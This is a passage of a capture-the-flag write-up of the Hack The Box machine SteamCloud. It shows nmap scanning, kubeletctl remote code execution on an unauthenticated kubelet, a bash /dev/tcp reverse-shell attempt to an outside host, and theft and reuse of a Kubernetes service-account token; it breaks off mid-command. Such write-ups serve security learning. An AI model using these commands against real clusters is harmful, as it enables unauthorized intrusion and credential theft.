SteamCloud by k0rriban

htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
SteamCloud	10.10.11.133	Linux	20	4.9	701	574	Yes	2022-02-14	2022-02-14	No	443

Summary

1. Scan ports -> 22,2379,2380,8443,10249,10250,10256
2. kubeletctl pods on p10250 -> nginx pod
3. kubeletctl scan rce -> nginx pod vuln to RCE
4. kubeletctl exec "bash" -> nginx root user (user shell)
5. Donwload ca.crt and token -> Pod creation
6. kubectl create -> korriban pod over whole filesystem
7. kubletctl exec "bash" on korriban -> RCE on korriban
8. Import our id_rsa.pub -> Root shell on cluster

Enumeration

OS

TTL	OS
+- 64	Linux
+- 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
❯ ping -c 1 10.10.11.133
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=108 ms
```

Nmap port scan

First, we will run a open ports scan using nmap:

```
❯ sudo nmap -p- -sS --min-rate 5000 10.10.11.133 -v -oG Enum/allPorts
```

We can retrieve the results using the utility extractPorts:

```
❯ extractPorts Enum/allPorts

[*] Extracting information...

    [*] IP Address:  10.10.11.133

    [*] Open ports:  22,2379,2380,8443,10249,10250,10256

[*] Ports have been copied to clipboard...
```

Next, we will run a detailed scan:

```
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP
Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-02T15:14:35
|_Not valid after:  2023-06-02T15:14:36
2380/tcp  open  ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP
Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-02T15:14:35
|_Not valid after:  2023-06-02T15:14:36
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: ca58be43-e14e-4bea-84f3-871da85e576e
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 1682473d-1bf4-4034-b22f-fa1d2bf26a86
|     X-Kubernetes-Pf-Prioritylevel-Uid: fe703b74-9c25-4ee6-bd02-22198dec70ee
|     Date: Thu, 02 Jun 2022 15:27:33 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User
"system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":
{},"code":403}
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 8057009f-d626-4ae7-9e47-9ee2fde751a8
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 1682473d-1bf4-4034-b22f-fa1d2bf26a86
|     X-Kubernetes-Pf-Prioritylevel-Uid: fe703b74-9c25-4ee6-bd02-22198dec70ee
|     Date: Thu, 02 Jun 2022 15:27:31 GMT
|     Content-Length: 185
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User
"system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn\'t have a title (application/json).
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal,
DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default,
DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1,
IP Address:10.0.0.1
| Not valid before: 2022-06-01T15:14:34
|_Not valid after:  2025-06-01T15:14:34
|_ssl-date: TLS randomness does not represent time
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
```

```
|_http-title: Site doesn\'t have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/unknown
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=steamcloud@1654182878
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2022-06-02T14:14:37
|_Not valid after:  2023-06-02T14:14:37
|_ssl-date: TLS randomness does not represent time
10256/tcp open  http            Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn\'t have a title (text/plain; charset=utf-8)
```

Final nmap report

Port	Service	Version	Extra
22	ssh	OpenSSH 7.9p1 Debian	-
2379/tcp	etcd-client	-	-
2380/tcp	etcd-server	-	-
8443/tcp	https-alt	-	kubernetes
10249/tcp	http	Golang net/http server	Go-IPFS json-rpc or InfluxDB API
10250/tcp	ssl/unknown	-	-
10256/tcp	http	Golang net/http server	Go-IPFS json-rpc or InfluxDB API

Port 8443

Let's start with the port displayed as https-alt. As it is an https port, we can test it with a GET request through `curl`:

```
❯ curl -X GET https://10.10.11.133:8443
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.
```

As we can see, the certificate is self-signed, so we can use the `-k` flag to accept insecure certificates:

```
❯ curl -X GET https://10.10.11.133:8443 -k -s | jq
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {},
  "code": 403
}
```

This response shows how we can't access the api as `anonymous` or guest user. This is the same information we found with `nmap`. As we can see in the nmap report, the api is using `kubernetes`, for more information, we can go to: https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/. In the nmap report, notice `DNS:control-plane.minikube.internal`, another domain name for the application, researching about minikube on google: https://kubernetes.io/docs/tutorials/kubernetes-basics/create-cluster/cluster-intro/

and the default port of its API is 8443, so we can assume that the api running on this port is the minikube API.

Kubectl

We can se kubectl to enumerate the pods running in the cluster:

```
❯ kubectl -s https://10.10.11.133:8443 get pod
Please enter Username: ^C
```

But we are asked for credentials we don't have.

Ports 2379 and 2380

Corresponding to etcd client and server respectively. If we look up these ports we discover they are related with kubernetes as an open source distributed key-value store used to hold and manage the critical information that distributed systems need to keep running.

Port 10250

Looking it up in google we discover it corresponds to kubelet, which is the component responsible for managing the pods running in the cluster. We can enumerate the pods running under the kubelet with this script:

```
❯ kubeletctl -s 10.10.11.133 pods
```

Pods from Kubelet			
	POD	NAMESPACE	CONTAINERS
1	kube-proxy-drb42	kube-system	kube-proxy
2	coredns-78fcd69978-nx6hc	kube-system	coredns
3	nginx	default	nginx
4	etcd-steamcloud	kube-system	etcd
5	kube-apiserver-steamcloud	kube-system	kube-apiserver
6	kube-controller-manager-steamcloud	kube-system	kube-controller-manager
7	kube-scheduler-steamcloud	kube-system	kube-scheduler
8	storage-provisioner	kube-system	storage-provisioner

Success! We enumerated the pods managed by kubelet. And we can now scan the pods vulnerable to RCE:

```
❯ kubeletctl -s 10.10.11.133 scan rce
```

Node with pods vulnerable to RCE				

```
┌──┬────┬──────────────┬──────────────────────────────────────┬─────────────┬──────────────────────────┬──────┐
│  │ NODE IP      │ PODS                                 │ NAMESPACE   │ CONTAINERS               │
RCE │
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│  │              │                                      │             │                          │
RUN │
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 1 │ 10.10.11.133 │ kube-apiserver-steamcloud            │ kube-system │ kube-apiserver           │ -
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 2 │              │ kube-controller-manager-steamcloud   │ kube-system │ kube-controller-manager  │ -
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 3 │              │ kube-scheduler-steamcloud            │ kube-system │ kube-scheduler           │ -
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 4 │              │ storage-provisioner                  │ kube-system │ storage-provisioner      │ -
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 5 │              │ kube-proxy-drb42                     │ kube-system │ kube-proxy               │ +
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 6 │              │ coredns-78fcd69978-nx6hc             │ kube-system │ coredns                  │ -
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 7 │              │ nginx                                │ default     │ nginx                    │ +
│
├──┼────┼──────────────┼──────────────────────────────────────┼─────────────┼──────────────────────────┼──────┤
│ 8 │              │ etcd-steamcloud                      │ kube-system │ etcd                     │ -
│
└──┴────┴──────────────┴──────────────────────────────────────┴─────────────┴──────────────────────────┴──────┘
```

From this output, notice the nginx pod, which is vulnerable to RCE. We can now obtain RCE on the nginx pod with:

```
❯ kubeletctl -s 10.10.11.133 exec "whoami" --pod nginx --container nginx
root
```

Nginx pod user

To obtain the nginx pod user, we check if any of nc,wget or curl are installed in the pod:

```
❯ kubeletctl -s 10.10.11.133 exec "which wget" --pod nginx --container nginx
[*] The reponse failed with status: 500
[*] Message: command 'which wget' exited with 1:
```

We can see that not even which is installed, so we can try obtaining a reverse shell directly:

```
❯ kubeletctl -s 10.10.11.133 exec "bash -i >& /dev/tcp/10.10.16.2/3333 0>&1" --pod nginx --container
nginx
[*] The reponse failed with status: 500
[*] Message: command 'bash -i >' exited with 127: bash: cannot set terminal process group (-1):
Inappropriate ioctl for device
```

```
bash: no job control in this shell
bash: >: No such file or directory
```

But we cannot set an interactive terminal on the pod. Anyway, trying it for some time, we discovered that this command:

```
❯ kubeletctl -s 10.10.11.133 exec "bash" --pod nginx --container nginx
root@nginx:/# whoami
whoami
root
root@nginx:/# hostname -i
hostname -i
172.17.0.3
root@nginx:/#
```

Does, in fact, return a reverse shell.

Kubernetes tokens

As we found the `user.txt` file at `/root`, we guess this was the first user meant to be obtained. Now, we need to pivot to the main machine, to do so, we can use kubernetes tokens:

```
root@nginx:/# ls /run/secrets/kubernetes.io/serviceaccount
ls /run/secrets/kubernetes.io/serviceaccount
ca.crt  namespace  token
root@nginx:/# cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.eyJhdWQiO
lsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYXQiOjE2N
TQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pb
yI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNGY3MS1hM
DViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLTE4YTItN
DRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1YiI6InN5c
3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6AMBgolY
I_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA
root@nginx:/# cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
```

Remember how kubectl asked for a username earlier, now with the certificate and the token we can bypass this authorization checking. To do so, we need to download the file `ca.crt` and the token:

```
❯ echo "-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----" > ca.crt
❯ echo "eyJhbGg1...43brh56Ijt9GaA" > token
```

Now, we can use kubectl with these credentials:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          136m
```

Success!! We enumerated the pods in the cluster. But if we try any other action:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' get secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:default"
cannot list resource "secrets" in API group "" in the namespace "default"
```

It returns a forbidden error for namespace default. Let's try using auth to enumerate what we can do with kubectl:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' auth
Inspect authorization

Available Commands:
  can-i         Check whether an action is allowed
  reconcile     Reconciles rules for RBAC role, role binding, cluster role, and
cluster role binding objects

Usage:
  kubectl auth [flags] [options]
```

```
Use "kubectl <command> --help" for more information about a given command.
Use "kubectl options" for a list of global command-line options (applies to all
commands).
```

With the can-i command, we can enumerate available actions:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' auth can-i --help
Check whether an action is allowed.
# List all allowed actions in namespace "foo"
  kubectl auth can-i --list --namespace=foo
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
PA9pnQsTu06e5U349fPZe7prfdG9AM0LNsXTU6xIbvRRfI5_HLFS5O8iLotgg_iTkhEdzqoao8GRxZ4MJwluCYasK97zCZAVu9ok
Z8prKd6O8Cuo7FO0rh6dUfFHg1S-DBF2tmYJvKrgSZMdrF4au3brh56Ijt9GaA' auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names
Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []
[create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []
[create]
pods                                            []                                    []
[get create list]
                                                [/.well-known/openid-configuration]   []
[get]
                                                [/api/*]                              []
[get]
                                                [/api]                                []
[get]
                                                [/apis/*]                             []
[get]
                                                [/apis]                               []
[get]
                                                [/healthz]                            []
[get]
                                                [/healthz]                            []
[get]
                                                [/livez]                              []
[get]
                                                [/livez]                              []
[get]
                                                [/openapi/*]                          []
[get]
                                                [/openapi]                            []
[get]
                                                [/openid/v1/jwks]                     []
[get]
                                                [/readyz]                             []
[get]
```

```
                                                    [/readyz]                       []
[get]
                                                    [/version/]                     []
[get]
                                                    [/version/]                     []
[get]
                                                    [/version]                      []
[get]
                                                    [/version]                      []
[get]
```

If we take a look at the pods resources, we see we are able to create a pod. This can be used to create a pod that replicate the whole cluster. If we remember the result of `get pod`, we only got some information about `nginx` pod, we can change the format to `yaml` with the `-o` flag:

```
❯ kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6IlhZcGhRS1BSRkJTMU1JaVJFcG1Tc1ZaLUlHR09wTFlkYjBrQWFJRzlRUzAifQ.ey
JhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg1NzQ0NDM5LCJpYX
QiOjE2NTQyMDg0MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZX
Rlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6Ijk2NTliYTYzLWYxNjctNG
Y3MS1hMDViLTY3MWU0ODY1MmE0OCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzMTBkNGFhLT
E4YTItNDRjYy1hNGFiLTYxZTcwMDc5ZDNlMCJ9LCJ3YXJuYWZ0ZXIiOjE2NTQyMTIwNDZ9LCJuYmYiOjE2NTQyMDg0MzksInN1Yi
I6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.jhEZk8pLEhE1Lb0ZKIwiSlc73nlIsf6CS4D1r5oW_H6
AMBgolYI_BhSwXppL9cA39FZPkXNgYfgKDZ6uwnxYl8dslWfHkWLcRlmDZ8oyYEc-
TiUCz1ax3HJaAXajTZBLRDovJ9PMqAlg3G2Hk3j2njg4006qvBzmR0gZ3dWqFiJWZbfSU1r-
